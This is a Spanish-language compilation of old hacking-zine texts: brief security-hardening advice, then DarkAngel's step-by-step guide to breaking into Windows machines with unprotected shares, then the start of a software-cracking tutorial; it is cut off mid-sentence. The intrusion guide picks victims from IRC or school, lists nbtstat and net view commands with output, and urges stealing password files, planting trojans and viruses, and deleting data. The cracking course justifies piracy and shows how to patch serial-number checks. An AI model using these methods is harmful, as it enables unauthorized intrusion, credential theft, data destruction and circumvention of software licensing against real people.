Nuevos agujeros como este aparecen todos los días, los mejores métodos para prevenirlos son: Tratar de estructurar el sistema de forma que el menor software posible con privilegios root/daemon/bin corra en la máquina, y que el que lo haga sea robusto con toda seguridad. Suscribirse a listas de correo para poder tener lo antes posible información con detalles acerca de problemas y/o parches, y actuar en cuanto esté disponible. Cuando se instala/actualiza un sistema, tratar de instalar/habilitar solo aquellos paquetes de software cuya necesidad sea inmediata o previsible. Muchos paquetes incluyen daemons o utilidades que pueden revelar información a extraños. Por ejemplo, el paquete de contabilidad del Unix System V de AT&T incluye acctcom(1), que podría permitir (por omisión) a cualquier usuario el revisar los datos de las cuentas diarias de cualquier otro usuario. Muchos paquetes TCP/IP instalan/cargan automáticamente programas tales como rwhod, fingerd, y (ocasionalmente) tftpd, pudiendo todos ellos presentar problemas de seguridad. Una administración cuidadosa del sistema es la solución. Muchos de estos programas son inicializados/iniciados en el arranque; sería deseable cambiar los scripts de arranque

(normalmente en los directorios /etc, /etc/rc, /etc/rcX.d) para prevenir su ejecución y eliminar algunas utilidades que no se vayan a utilizar, bastando (en algunos casos) un simple chmod(1) puede prevenir el acceso de usuarios no autorizados Resumiendo, no confíes en los scripts/programas de instalación! Tales utilidades tienden a instalar/cargar todo lo que hay en el paquete sin pedir confirmación. Muchos manuales de instalación incluyen listas de "los programas incluidos en este paquete"; asegúrate de revisarlo. Agujeros de Seguridad por Incompatibilidades. Se da cuando, por falta de experiencia, o por descuido, el administrador del sistema hace funcionar software sobre un hardware para el que no está optimizado, dando lugar a posibles resultados inesperado y fallos que pueden dañar seriamente la seguridad del sistema. Es la incompatibilidad entre software y hardware la que crea agujeros de seguridad. Problemas como este son muy difíciles de encontrar una vez que el sistema esta montado y funcionando, de manera que es muy conveniente el leer atentamente la documentación del software y del hardware que se va a montar (o que pretendemos atacar) y estar muy atento a cualquier noticia o actualización. Elección y Mantenimiento de Filosofía de Seguridad El cuarto problema de seguridad es el de la percepción y el entendimiento. Software perfecto, hardware protegido, y componentes compatibles no funcionan a menos que se haya elegido una política de seguridad correcta y que se hayan puesto en marcha las partes del sistema que la refuerzan. Tener el mejor mecanismo de password del mundo es inútil si los usuarios creen que la última parte del nombre de su login es un buen password! La seguridad esta relacionada con una política (o conjunto de políticas/normas) y el funcionamiento del sistema conforme a dicha política.

CÓMO ENTRAR EN UNA MÁQUINA WINDOWS CON RECURSOS COMPARTIDOS by DarkAngel Este hack no se basa en un fallo del windows ni nada parecido. Algunos usuarios tienes redes de trabajo, se reunen para jugar a quake, cambiar fotos porno... ese tipo de cosas, y comparten recursos y no ponen passwords. Si encontramos a uno de estos individuos... le podemos joder lo que queramos o la mayoría de las veces, sacar passwords y archivos importantes (o juegos o fotos porno o...). En esta miniguía se explican los pasos a seguir para hackear una máquina con recursos compartidos en windows.

1. Fijar blanco Necesitamos una IP, si no tenemos un objetivo pensado (como podría ser: el hijoputa de la clase, el profe de mates, el ordenata del director...) puedes entrar en el irc y buscar gente por ahí. Una buena sugerencia es la de elegir a alguien de un canal en el que te gustaría tener op, alguien que te ha jodido y le quieres quitar el nick si lo ha registrado, o simplemente necesitas a alguien para probar y... lo siento chico, te ha tocado a ti xDDD (y eliges uno cualquiera en el canal o si usas mIRC puedes poner: Para saber la gente que hay en un canal sin entrar en el: /names #canal Para pillar una IP aleatoria del canal en el que estamos: //dns $nick(#,$rand(1,$nick(#,0))) Si quieres pillar la IP de un nick que ya sabes pones: /dns nick (nick es el nick del que quieres averiguar la IP) Entonces ocurrirá algo como esto en el status: *** Looking up ctv21225141110.ctv.es *** Resolved ctv21225141110.ctv.es to 212.25.141.110 Tenemos la IP, que en este caso es 212.25.141.110, podemos pasar al siguiente paso.

2. Averiguar el nombre de la máquina objetivo Para poder entrar primero necesitamos saber cuál es el nombre de la máquina, para ello usaremos el programa nbtstat con el parámetro –A, que sirve para pillar la tabla de nombres de la máquina objetivo a partir de la IP. Este comando se usa así: ‘nbtstat –A 123.123.123.123’. Podemos ejecutarlo desde un prompt del DOS, desde Inicio-Ejecutar o desde mIRC con el comando: /run nbtstat –A DirecciónIP Una sugerencia para mIRC es escribir éstas líneas en los remotes: On 1:Dns: { echo $iaddress clipboard $iaddress run nbtstat –A $iaddress } Y cuando hagas un dns te hará el nbtstat automaticamente. (se nota que soy scripter) He ejecutado el nbtstat con fliper (víctima):

nbtstat –A 212.25.141.110 y me ha respondido algo así: Host not found. Lo que quiere decir que o no tiene el netbios activo, o no usa windows o no se encuentra nada en esa IP (puede que se haya desconectado, que la hayas escrito mal...), o sea, Paso1 y a buscarse otra víctima. Repetimos, ya tengo otra víctima y ejecuto el comando ‘nbtstat –A IPdelavíctima’ Esta vez ha contestado algo como: NetBIOS Remote Machine Name Table

Name

Type

Status

--------------------------------------------SUSO

<00> UNIQUE

SUSOHACKER SUSO

Registered

<00> GROUP

<03> UNIQUE

Registered

Registered

MAC Address = 44-45-53-54-00-00 Ahora sabemos que el nombre de la máquina es SUSO (primera entrada <00>), que el nombre del grupo es SUSOHACKER. El nombre de la máquina es el primer UNIQUE de la tabla, y los grupos que hay son reconocidos fácilmente por GROUP. Pero antes de qué empieces a dar saltos de alegría por haber encontrado un objetivo válido, he de decirte que este no nos vale (que malo soy... xDDDDDD). Para que el objetivo valga (o sea que haya posibilidades de entrar en él) tiene que haber por al menos una entrada <20>, y en este caso no la hay. Repetimos Paso1, hacemos el ‘nbtstat –A Ipvíctima’ y encontramos un individuo con una entrada <20>: NetBIOS Remote Machine Name Table

Name

Type

Status

--------------------------------------------SANTI CORBA

<00> UNIQUE <00> GROUP

Registered Registered

SANTI

<03> UNIQUE

Registered

SANTI

<20> UNIQUE

Registered

CORBA

<1E> GROUP

Registered

MAC Address = 44-45-53-54-00-00 Este individuo tiene una entrada <20> y es la que nos vale, tenemos el nombre de su máquina qué es

SANTI, recuerda que es el primer UNIQUE. Podemos pasar al Paso3. El que os haya puesto víctimas que no valían era para que vierais los resultados más cómunes antes de pasar a la acción, y si no te sale a la primera, saldrá a la segunda. También decirte que tienes que tener en la conexión que estés usando en propiedades la casilla de NetBEUI y Conectarse a la red activadas, luego ve al Panel de Control y en Red, comprueba que tienes Compartir impresoras y archivos activados.

3. Añadiendole a nuestra lista de hosts Abrimos el archivo C:\WINDOWS\lmhosts (no confundir con lmhosts.sam, que es un ejemplo (sam de sample)) y escribimos (con el bloc de notas, no me seas burro) en la ultima línea (qué puede ser la primera si acabamos de crear el archivo xD, quiero decir que podemos tener varios ordenatas metidos en la lista): ‘123.123.123.123 NOMBRE’ Ésta es una parte de mi lmhosts para que os hagais una idea: 212.25.137.75 LINUX 152.71.32.128 BLEIS239 147.156.122.7 BLANC 194.224.88.221 JOSU 147.83.4.168 ANT Y lo guardais. Ahora lo más importante, que en todos los textos que había leído sobre ésto antes de conseguir hacerlo no lo nombraban (lo que me hace suponer que se habrían limitado a copiárselo de otro y no lo habían hecho nunca) Decirle al NetBIOS que actualice la lista, que añada el nuevo host. Esto es así: ‘nbtstat –R’ y responderá: Successful purge and preload of the NBT Remote Cache Name Table. Lo ejecutais donde querais. En Inicio, mIRC, DOS... Añadido a la lista y pasamos al Paso4.

4. Qué comparte y como entrar Usamos el comando net view para ver lo que comparte: ‘net view \\ANT’ Saldrá algo así:

Recursos compartidos \\ZEUS

Compartido Tipo

Comentario

--------------------------------------CDROM

Disco

C

Disco

PRINTER1 Impresora El comando ha sido ejecutado con éxito. También podemos hacer Inicio-Buscar-PC... \\ZEUS Luego desde DOS podemos hacer DIR \\ZEUS para ver los archivos, o en ejecutar \\ZEUS y se abrirá una ventana con lo que tiene compartido. Ahora le podemos copiar archivos, leer archivos y tal como si estuvieran en nuestro ordenata (irá muuuy lento, no os desespereis).

5. Estamos dentro, qué hacer? Archivos para pillar: -

System.ini: no es otra cosa sino que el archivo de configuración de Windows. No ocupa demasiado así que es de lo primero que debemos coger. Si lo abrimos con el bloc de notas y vamos a la sección [Password Lists] nos dirá los logins y las listas de passwords para los usuarios del ordenata. Nos aportará mucha información importante.

-

*.PWL: son los archivos de PassWord List, arriba se indica como cogerlos nos darán algunos password de los usuarios.

-

Otros ficheros de passwd: Si vemos algún programa como el cuteFTP podemos cogerle los archivos de passwords que se guardan en el disco duro. Ej: users.dat

-

Logs: si algún usuario conecta al irc, que si hemos pillado su IP en el IRC será porque conecta, puede que esté guardando logs. Busca logs con el nombre de bots como: NiCK.log, CHaN.log, etc. Si es admin de un canal o está registrado, o queremos pillarle el nick estos son los archivos que nos ayudarán.

-

Malos usos: También podemos robar fotos porno, leer ficheros confidenciales, pringar mp3... Pero seguro que todo lo anterior tampoco era bueno XDD

Si por suerte tenemos acceso total: Si por alguna casualidad de la vida tenemos acceso total: -

Troyanos: le podemos meter troyanos, simplemente lo subimos y se lo añadimos al autoexec.bat por ejemplo, la próxima vez que reinicié se le instalará. Tiene el inconveniente de que si le queremos meter el NetBUS o el BO o lo que sea no se le instalará en el momento. AH!!!! Ni se os ocurra intentar instalarselo desde vuestro ordenador, a lo mejor os pensais que haciendo 2click en el icono se le instalará, y lo que estarás haciendo es traerlo a vuestro ordenador y ejecutandolos en el vuestro.

-

Viruses: como antes los troyanos le puedes meter cualquier virus que se te ocurra, también puedes reemplazarle algún fichero que vaya a usar por el virus para joder más, como renombrarlo a command.com. Si entiendes un poquito más le puedes coger algún programa y en ensamblador meterle algunas instrucciones más. O con el resource workshop cambiarle el icono, las propiedades del fichero... y hacerle creer que se trata de otro programa! XD

-

Todos contra la pornografía infantil: si te encuentras con un directorio lleno de fotos chungas desas, puedes bajartelas (si eres un pederasta, pedófilo, infanticida...) o puedes borrarlas todas...

-

Ser cabrón: borra todo lo que se te ocurra o te de tiempo, modifica los programas con un HexEditor y con cortar un cachito ya quedará inservible el fichero. Este uso es un pelín... cracker-lamer y siempre que hagas cosas de estas procura no dejarte nada dentro.

-

Firmar: si no has hecho nada malo puedes dejarle un txt en el escritorio con tu nick, fecha, hora y si eres bueno y honrado “hasta” puedes decirle que ponga passwords o no comparta nada.

-

Deja volar la imaginación: todo tipo de programas y acciones dependiendo de cuál sea tu objetivo.

Esto se ha acabado y creo que con eso estarás entretenido unas horitas... A ver si os animais y escribís sobre cosas que sepais que siempre le será útil a alguien por muy malo que seas. Podeis encontrarme por el irc-hispano con el nick de DarkAngel en los canales #100scripts y #hack, pero mejor me pones en la notify porque es muy probable que esté por ahí trapichando.

by DarkAngel ©

COMO CRAKEAR POR ESTADO+PORCINO

CAPÍTULO I. Orígenes TechFacts 95

Diciembre 1997

Indice * UN POCO DE TODO: - Agradecimientos - ¿Qué es eso de crackear? - ¿Por qué crackear? - ¿A quién va dirigido este curso? - ¿Qué es lo que vamos a aprender? - ¿No estaremos quitando el pan a los programadores de aplicaciones? - ¿Qué necesito pa esto de crakear? * IDEAS BÁSICAS SOBRE CRACKING: * HERRAMIENTAS CRACK: - Editor hexadecimal - Desensamblador - Debugger * ESQUEMAS DE PROTECCION: * ESQUEMAS DE PROTECCIÓN BASADOS EN NÚMEROS DE SERIE: - Acerca de los programadores - Análisis de esquemas con número de serie - ¿Cómo atacar? - Otro punto de ataque

- Comparación de ataques

UN POCO DE TODO: ¡Saludos Familia ! He decidido crear esta serie de capítulos con un objetivo puramente educativo (sin ningún tipo de obscuro interés comercial). Mi objetivo es ayudar a los nuevos crackers en sus primeros pasos. Agradecimientos Al TodoPoderoso +ORC, a su acólito +FRAVIA y a los miembros de WKT por su apoyo. ¿Qué es eso de crackear? Crackear es el arte de reventar protecciones software/hardware con fines intelectuales, personales pero no lucrativos. Crackear también se llama ingeniería inversa (Reverse Engineering), ya que sin el programa fuente se es capaz de analizar el comportamiento del programa y modificarlo para tus intereses. ¿Por qué crackear? Vivimos en un una sociedad que da asco. Es inconcebible que se destruyan o penalicen la producción de productos básicos (cereales,lácteos...) en aras de una estabilidad de precios.Vivimos en una sociedad donde el 95% de la gente se ve sometida al control de un 5 %. Toda persona debería tener un mínimo de recursos para ser feliz,pero esto no es así. El noble arte del crakeo es una herramienta para distribuir la riqueza entre la sociedad. Si necesitas un programa (que tienes en un CD-ROM) y no tienes una cuenta en un banco USA, ni 30 dólares, ¿por qué narices tienes que esperar y pagar si lo necesitas?, crackealo y publica el crack en Internet. Así ayudarás a la gente menos afortunada que está axifiada por esta sociedad desigualitaria. ¿A quién va dirigido este curso? Este curso va dirigido a toda persona con interés en el crack y/o con la filosofía crack. Sin olvidar a los programadores. ¿Qué es lo que vamos a aprender?

Dejaremos de un lado el añorado DOS, para centrarnos en cracks para programas en W95. ¿No estaremos quitando el pan a los programadores de aplicaciones? Los programadores viven muy bien a costa de los royaltis que pagan las grandes empresas y esos repugnantes yupis encorbatados con escased de neuronas. Además, un programa crakeado es más conocido y utilizado que uno que no lo esté. Digamos que el crack es una forma de publicidad. Baste recordar el compilador de Pascal de la casa Borland. Originalmente fue copieteado y distribuido casi libremente hasta la saciedad. Borland conocía este hecho y por eso no introdujo ningún tipo de protección. Al cabo de poco tiempo, esos estudiantes se convirtieron en programadores que reclamaban a sus empresas la compra del compilador que sabían utilizar, el Pascal de Borland. Si las casas de soft ya son ricas sin nuestro dinero, ¿a que estado de corrupción se llegaría si lo tuvieran?. Aunque parezca extraño este ensayo está dedicado a formar a los programadores , mostrándoles sus defectos y el camino para producir software de calidad. En último caso depende de la conciencia de cada uno, si crees que un programador ha realizado una buena aplicación, que te es útil y que además está bien programada, entonces obra adecuadamente y recompénsalo registrándote. A decir verdad sólo he encontrado un programa de este estilo ¿Qué necesito pa esto de crakear? - Interés y PazYCiencia. - Algún conocimiento de ensamblador. Cuanto más conozcas mejor crackearás, pero para este curso mas bien poco, intentaré hacer las cosas fáciles. - Ayuda de otro cracker más experto (por ejemplo Estado+Porcino)

IDEAS BÁSICAS SOBRE CRACKING Un programa no es más que un montón de instrucciones (haz, esto, haz lo otro), una tras otra. Estas instrucciones, (en general) están en memoria, parte de ellas se encargan de impedir la ejecución del resto (el verdadero programa). Resumiendo, tienes un bonito programa tras una puerta (esquema de protección), nuestro objetivo es reventar la puerta, buscar la llave,pasar por las rendijas,quemarla..., como puedes ver una cantidad inagotable de ataques. Un pequeño inciso, sólo puedes reactivar instrucciones que se encuentren en el programa. Por ejemplo, si se ha desactivado la opción de salvar, puede ser que el

conjunto de sentencias para salvar el programa esté presente pero desactivado, o bien que simplemente no esté. Si están las sentencias, se pueden reanimar, sino están entramos en un mundo diferente, una evolución del cracking, la apasionante Reconstrucción Software, pero eso será tema de otro capítulo. HERRAMIENTAS CRACK Demos un breve repaso a las principales herramientas que utilizaremos a lo largo del curso. Existen otras muchas herramientas que las comentaré cuando nos sean necesarias. Editor hexadecimal Los programas no son más que un conjunto de instrucciones y cada instrucción no es más que un conjunto de bits, pero donde demonios se guardan esos bits?. Los bits del programa se localizan en los ficheros, p.e. las instrucciones del programa de compresión arj se guardan en el fichero arj.exe. Hay algunos programas que no guardan todas sus instrucciones en único fichero, si no en varios, un ejemplo de esto son los programas que utilizan librerías dinámicas (o dll) Un editor hexa, no es más que un programa, que permite "editar" los ficheros de instrucciones de otros programas, osea, que permite ver,modificar,copiar,pegar... los bits de los programas. Para simplificar la cosa no se muestran los bits a pelo, sino que se muestran en hexadecimal, de ahí su nombre. Nosotros lo utilizaremos para alterar el comportamiento de los programas. Supongamos que conocemos la instrucción sentencia de la rutina de protección que debemos modificar, sea jz 23 y queremos modificarla por jnz 23, bien como toda instrucción no es más que un conjunto de bits, sea 0110 para jz 23 y 1001 para jnz 23, sólo nos queda buscar estos bits dentro del fichero ejecutable del programa (que es, en general, el contiene las sentencias del programa). Como usamos un editor hexa, debemos buscar la secuencia de un unos y ceros en hexa en el fichero del programa que queremos modificar. Si la secuencia que buscamos es muy común deberemos utilizar las instrucciones que se encuentran entorno a la instrucción a modificar. Esto es muy importante, sólo debe existir una localización del patrón de búsqueda en el fichero, si existe más de una, debemos añadir a la búsqueda las sentencias de alrededor, sino se corre el riego de modificar la sentencia equivocada, lo que provoca casi siempre un "cuelgue". Un no es más que una modificación de las instrucciones de un fichero, así pues para hacer un crack debemos saber que instrucciones modificar y en qué fichero. Una vez crackeado el fichero, el programa se comportará siguiendo la nueva sentencia que le hemos modificado. Hay un montón de editores hexa, yo os recomiendo UltraEdit-32 Professional, os lo

podéis bajar de http://ftpsearch.ntnu.no/ (excelente herramienta de búsqueda en la Web, utilízala cuando no encuentres algún fichero) busca w32dasm. Yo utilizo la versión 4.31a. Cada cracker tiene su editor favorito, !encuentra el tuyo!. Este programa es shareware, así que tendrás que crackearlo, recuerda : lo primero que tienes que crakear son tus propias herramientas. Si no puedes crackearlo, busca otro editor hexa, los hay a montones. Desensamblador Un desensamblador toma un fichero de instrucciones en hexa y lo convierte a lenguaje ensamblador. El lenguaje ensamblador, es el conjunto de sentencias que entiende el microprocesador (tu Pentium o mi 486). El procesador es el corazón del ordenador, todas las sentencias son ejecutadas por él y sólo por él. Por ejemplo un 43 en hexa se transforma en inc eax. Se necesitan algunos conocimientos de ensamblador pa esto de crackear. Nosotros usaremos el desensamblador para crakear con la técnica de la lista muerta que veremos más adelante. Puedes pillar un magnífico desensamblador para W95 en http://www/expage.com/page/w32dasm , es shareware, así que deberás crackearlo. Próximamente le dedicaremos un capítulo al w32dasm y aprenderemos a crackearlo. Yo utilizo la versión 8.9, aunque una posterior es también útil. Debugger Un debugger permite ejecutar instrucción a instrucción (instrucciones en ensamblador, se entiende) un programa, por tanto también ejecutará instrucción a instrucción la rutina de protección, ya que es parte del programa. Esto nos permitirá analizar su comportamiento. El mejor debugger para W95 es sin duda el Softice quo te lo puedes bajar de http://www.numega.com , es sin duda uno de los mejores programas que he visto en mi vida. Te recomiendo que te bajes también los manuales. El Softice es una de las mejores herramientas cuanto más domines al Softice, mejor crakearás, y te aseguro que se pueden realizar verdaderas maravillas con él. Para trazar (esto es, pasar el debug) a programas MS-DOS, puedes utilizar versiones anteriores del Softice o utilizar algunos de los excelentes debugger que hay para Dos como el SymbDebug. Os indicaré un par de consejos y trucos para el Softice. --> Instalación Haz la prueba de pantalla, si te la saltas, lo más seguro es que cuando actives el Softice se te quede la pantalla a rayas. Busca el driver de la tarjeta de vídeo que

tengas instalada en W95 dentro de la lista que se ofrece. Aunque la encuentres, haz la prueba de pantalla, es posible que no funcione correctamente. Si no encuentras tu tarjeta de vídeo o tienes problemas de pantalla, corta la instalación y selecciona "Adaptador de Vídeo Standard VGA", reinstala el Softice y utiliza ese mismo driver para la prueba de pantalla. Si sigues teniendo problemas te remito a la Doc del Softice (que deberías haberte bajado). Particularmente, con el adaptador Standard VGA no he tenido nunca problemas. Hay por ahí sueltos una ampliación de drivers de tarjetas para Softice, búscalos si no quieres pasa a la VGA Standard. Activa la opción de ratón, te evitará escribir bastantes secuencias hexa de instrucciones, te permitirá moverte libremente por las ventanas, seleccionar, copiar y pegar texto así como redimensionar las ventanas. --->Configuración El Loader es una pequeña utilidad que permite especificar el programa que queremos depurar y además nos permite configurar el Softice, En Edit/SoftIce Initialization Settings/Initialization string pon X;wl;wr;wd7; code on; y en Histoy Buffer Size pon 512 Abre el fichero winice.dat (dentro del directorio de instalación del Softice) , toda línea del tipo EXP=c:\windows\system\system.drv , quítale el punto y como inicial. --->Ejecución El Softice debe cargarse siempre antes que W95. Si estas en W95, reinicializa en modo MS-DOS y ejecuta WINICE.EXE, este cargará el Softice y W95. Te recomiendo que utilices un fichero bat. Las ventanas que aparecen son Ventana de registros de la CPU (wr). A los típicos se ha añadido una E así se diferencia los registros normales que admiten 16 bits, de los registros que soportan 32 bits. Por ejemplo, ax se llama ahora eax. Siempre podremos referencias a ax, sabiendo que nos quedaremos con 16 bits últimos de eax. Ventana de datos de la CPU (wd). Muestra la memoria en formato hexa, ahí se pueden apreciar los datos que maneja el programa, entre otras cosas. Ventana de código (wc). Muestra, la dirección de memoria en la que se encuentra la instrucción, la codificación hexa de la instrucción y la instrucción en ensamblador. Ventana de control, el la que aparece arriba el nombre del programa que estamos trazando. Aquí es donde introduciremos los comandos del SoftIce. He aquí algunos comandos fundamentales para el Softice:

CTRL+D Conmuta de W95 al Softice y viceversa. No te asustes por el pantallazo ni por el aspecto cutre inicial, llegarás a quererlo, créeme. Si salen rayas, vuelve a leer el apartado -->Instalación F4 Estando en Softice, te permite echar un ojo al estado actual en W95 sin necesidad de conmutar. F8 Ejecuta una instrucción, las modificaciones en los registros del sistema aparecen de diferente color. Si la instrucción es una llamada a una rutina, se ejecutarán una a una todas las instrucciones de la rutina llamada. F10 Ejecuta una instrucción, las modificaciones en los registros del sistema aparecen de diferente color. Si la instrucción es una llamada a una rutina, se ejecutan de golpe todas las sentencias de la rutina llamada. F11 Ejecuta de golpe todas las instrucciones de la rutina actual y se para el la instrucción siguiente de la rutina padre que llamó a esta rutina. Esto nos permite trazar al padre, estando en una rutina hija. En cuanto la uses menudo verás que no es tan complicado como parece. F12 Ejecuta todas las sentencias hasta el primer ret (incluido) bpx nombreRutina Salta al Softice cuando se ejecuta la rutina cuyo nombre es nombreRutina. Ejemplo bpx messageboxa saltará al Softice cuando el programa muestre una ventana de mensaje del tipo mensaggebox. bpx dirInstrucción Salta al Softice cuando se ejecuta la instrucción que está es la dirección de memoria dirInstrucción. bpr dirIni dirFin rw

Salta al Softice cuando hay un acceso de lectura o escritura en las direcciones dirIni,dirFin ambas incluidas. Ejemplo bpr 100 109 rw que puesto de otra forma más fácil de expresar, nos queda algo como bpr 100 100+9 rw s l dir tam'cad' Busca la cadena cad a partir de dir hasta dir+tam. Esta sentencia casi siempre tendrá este aspecto. Ejemplo s 30:00 l ffffffff 'cad' . Las comillas son importantes. 30:00 es la dirección de comienzo del segmento de datos, osea la dirección de memoria donde están los datos del programa y ffffffff es el tamaño del segmento de datos, como veréis hay 4GB de espacio para almacenar datos. d registro Muestra en la ventada de datos el contenido de lo que hay a partir de la dirección guardada en registro. Ejemplo d eax muestra a lo que apunta eax. d dirección Muestra en la ventada de datos el contenido de lo que hay a partir de la dirección. d nomRutina Muestra en la ventada de datos el contenido de lo que hay a partir de la dirección donde comienza la rutina nomRutina. Impr Pant Vuelca el contenido de la pantalla por la impresora, quizás tengas que darle varia veces hasta que el buffer de la impresora se llene.

ESQUEMAS DE PROTECCION Citaré algunas de las técnicas utilizadas por los programadores para proteger su soft. - Números de Serie. - Cripple Software (software limitado), en diversas variantes: * Tiempo limitado a meses , días, minutos..

* Número de ejecuciones o usuarios limitado. * Funciones deshabilitadas. - Protecciones por discos o CD-ROM llave. - Protecciones anti herramientas crack * Antidebuggers. * Antidescompiladores. * Antidesensambladores. * Encriptación parcial o total. - Ninguna de las anteriores. Acerca de los programadores Sólo dos cosas: a) En general son perezosos y a veces estúpidos. b) Nunca les creas. La opción a) es clara, sus esquemas de protección son arcaicos, apenas han sufrido modificaciones, tan sólo incorporan trucos viejos sobre esquemas bien conocidos. Programas en lenguajes de alto nivel tipo C++, Visual Basic, estos compiladores se basan en librerías bien conocidas. El programador no tiene el amor propio de crear su propia rutina de protección en ensamblador, prefieren dejarla en manos de compiladores que crean código ensamblador ineficiente y fácilmente legible. ¿A qué se debe todo esto?, a su mentalidad comercial de la vida, no trabajan por placer, son esclavos de su trabajo, verdaderos zombies andantes. Lo importante es acabar y pronto no importa la calidad del soft o las quejas del estúpido usuario por la lentitud del programa o por los "cuelgues". Una breve disgresión, no os habéis preguntado por que las versiones de los programas salen como churros cada 2 días. La respuesta es que se dejan a propósito las cosas sin hacer o mal hechas para que al cabo de dos días se pueda sacar una flamante nueva versión con una leve modificación la cual debes comprar para no quedarse obsoleto, Dios mío que abominación! Respecto a b) baste decir que siempre tratan de encubrir sus errores con malolientes mentiras. PROGRAMADORES, leed esto y aprended, pero que digo, no tenéis tiempo ni para joder, ni para ver por donde os joden....:-)

ESQUEMAS DE PROTECCIÓN BASADOS EN NÚMEROS DE SERIE Ésta es una "antigua" técnica de protección utilizada por las toneladas de shareware que nos inundan, basta comprarse un CD por 4 perras y ver 650 MB de programas basura, en general, deseosos de exprimir nuestras carteras. Veamos como funcionan. El programa puede ser total o parcialmente funcional, pero posee estúpidas ventanas que nos recuerdan que somos usuarios no registrados, o bien pitidos mal sonantes o mensajes perennes proclamando que les mandemos dinero. A veces, pasado cierto tiempo o pasado un número de ejecuciones, el programa deja de funcionar. Todo esto inconvenientes se resuelven llamando a la casa que construyó el software (imaginad lo que puede costar una llamadita o un Fax a un pueblo mal oliente del esto de Utah en USA), o bien mandando un e-mail. En cualquier caso hay que indicar el número de VISA donde ellos clavarán sus garras para rellenar sus ya nutridas arcas. Una vez desplumado recibimos por e-mail o por teléfono una palabra mágica, un número de serie, una password, o lo que sea, yo lo llamaré "pwd". Esta pwd desbloquea el programa y/o elimina las estúpidas ventanas recordatorio. Análisis de esquemas con número de serie En general existen dos formas en las que trabajan las rutinas de protección de número de serie: a) Número de serie independiente del usuario. b) Números de serie adaptados al usuario. a) si extraemos una pwd, ésta servirá a todos los usuarios. Una pwd válida se diferencia de una inválida (por las muletas, es un chiste) por la presencia de ciertos caracteres en posiciones fijas (p.e. el carácter 8 debe ser una 'C', el 10 un '-'). Toda pwd que cumpla las restricciones será una pwd válida. Por norma, casi todas las pass incorporan el carácter '-', 2b en hexa. A veces no se requieren caracteres fijos , sino que la suma ASCII cumpla cierta condición. Cada letra del alfabeto y cada carácter numérico tiene una cantidad asociada, su código ASCII (p.e. par el acute0acutees el 30 en hexa o el 40 en decimal). La técnica consiste en sumar el código de cada carácter y comprobar la suma (que a veces se llama checksum) con una cierta cantidad. Una variante es modificar el valor ASCII a través de una tabla que asocia a cada carácter un número distinto. Crackear esto es fácil de crackear: cmp suma,sumacorrecta ---->cmp suma,sumacorrecta jz ok -------------------->jnz ok Es posible mezclar las tres técnicas, caracteres fijos, cheksum y modificación del código ASCII. En un capítulo próximo veremos un ejemplo de esto. b) En este caso se utiliza el nombre, los apellidos, o el nombre de la empresas o todo junto para generar un pwd. Aquí las técnicas son más imaginativas: coger cierto

caracteres y repetirlos hasta llegar a un tamaño, usar el código ASCII de ciertas caracteres como índice de una tabla de encriptación...En fin, depende de las paranoias del programador. Lo cierto es que se debe generar la pwd correcta para nuestros dato y ésta se debe comparar con la introducida. Aquí es donde podemos atacar ,en al comprobación. Realmente no hace falta crackear, basta con copiar la pwd correcta e introducirla como nuestra pwd, o bien crackear las sentencias de comprobación para que sirva cualquier pass. Lo primero es mejor ya que nos servirá para futuras versiones. Se puede mezclar ambas técnicas, como veremos en un capítulo próximo, y generar un checksum para una cierta cadena extraída a partir de los datos del usuario y comprobar el cheksum de nuestra cadena. ¿Cómo atacar? Antes de ir como unos desposeídos a reventar el programa, es totalmente necesario echar un vistazo, ver el posible esquema de protección y los posibles puntos de ataque. En general no hay que buscar mucho, los puntos débiles tiene un letrero rojo que dice " Hey estoy aquí". En el caso de los esquemas basados en números de serie, la cosa está clara: esos estúpidos mensajes recordatorios son la puerta de entrada. Si somos usuarios no registrados aparecen, si nos registramos desaparecen. Por tanto debe haber algo que indique cuando deben o no aparecer, este algo es un flag, que no es más que un conmutador (como el de una bombilla). Cuando está en ON aparecen los mensajes, cuando en OFF desaparecen. En nuestro contexto, un flag no es más que una posición dentro de la memoria con un cierto valor. La memoria del ordenador es como un cartón de huevos (1 huevo = 1 bit), donde cada hueco tiene un número diferente al que se le llama dirección de memoria. En cada hueco puede haber un huevo (valor 1) o no haberlo (valor 0). Los agujeros se agrupan, 8 agujeros es un Byte, 1024 Bytes es un MegaByte o MB, 1024 MB es un GigaByte o GB, 1024 GB es un TeraByte o TB. Fácil, ¿verdad?. La memoria está compuesta de bits, estos bits se pueden interpretar de muchas formas, flags, datos, instrucciones. Por ejemplo 01010101 puede ser un flag de activación, la cadena "hola" o lo sentencia pinta la pantalla, depende de como lo consideremos. En el caso de tomarlo como instrucciones, se habla de dirección de la instrucción en memoria, que no es más que la dirección del primer del primer bit que la compone. El valor que podemos encontrar en un flag puede variar. Para ON podemos encontrar un 1 y para OFF un 0. Se puede usar la llamada lógica negada y tiene en ON un 0 y en OFF un 1. Todo lo que se pueda hacer con 0 y 1, se pude reconvertir cambiando los 0 por 1 y los 1 por 0. Una "mejora" de los programadores es utilizar flags distintos a 0,1, cuán inteligentes!. Recuerdo cierto esquema que utilizaba el flag DEAD en hexadecimal. Los sistemas de numeración (como el hexadecimal o hexa para abreviar) son formas diferentes de contar y de representar cantidades. En base 10, la de toa la vida, se empieza en 0 y se acaba en 9. en hexa se comienza en 0 y se

acaba en F (10=a,11=b,12=c,13=d,14=e,15=f). Veamos algo más práctico: cmp ax,flag; Compara el valor de ax con el valor del flag jz mensajes; Si son iguales muestra los mensajes. sigue: inc dx; Continúa normalmente. ..... mensajes: mov edx,45 ..... jmp sigue;Salta y continua normalmente. Este puede ser un esquema típico. Dependiendo del valor del flag se muestran los mensajes o no. Llegamos a la parte interesante, cada mensaje recordatorio debe tener una comprobación como la del ejemplo. Basta con analizar los mensajes recordatorio y descubrir la dirección de memoria del flag. Pero quién narices rellena el flag?. Obviamente debe haber como mínimo dos inicializaciones, una al comienzo de la ejecución del programa que pone al flag a OFF y la rutina de protección que lo debe poner a ON si la pwd es correcta. ¿Me sigues hasta ahora?. Es fácil ahora saber donde atacar, un crack elegante sería poner la inicialización al comienzo del programa a ON en vez de OFF. Recuerda esto: " Un buen cracker debe ser ante todo elegante y sutil, nada intrusivo". Otro punto de ataque Hasta ahora hemos visto que analizando los estúpidos mensajes se puede conocer la dirección de memoria del flag y a partir de ahí su inicialización. Pero en los esquemas basados en números de series existe un punto de entrada más claro aún que los flags: la propia rutina de protección. Veamos un método sencillo para llegar a ella. Si uno se va a la opción de registro e introduce un número de serie falso, aparecerá una estúpida ventana indicando que nos hemos equivocado: "Soryy your password is invalid" o algo parecido que traducido al 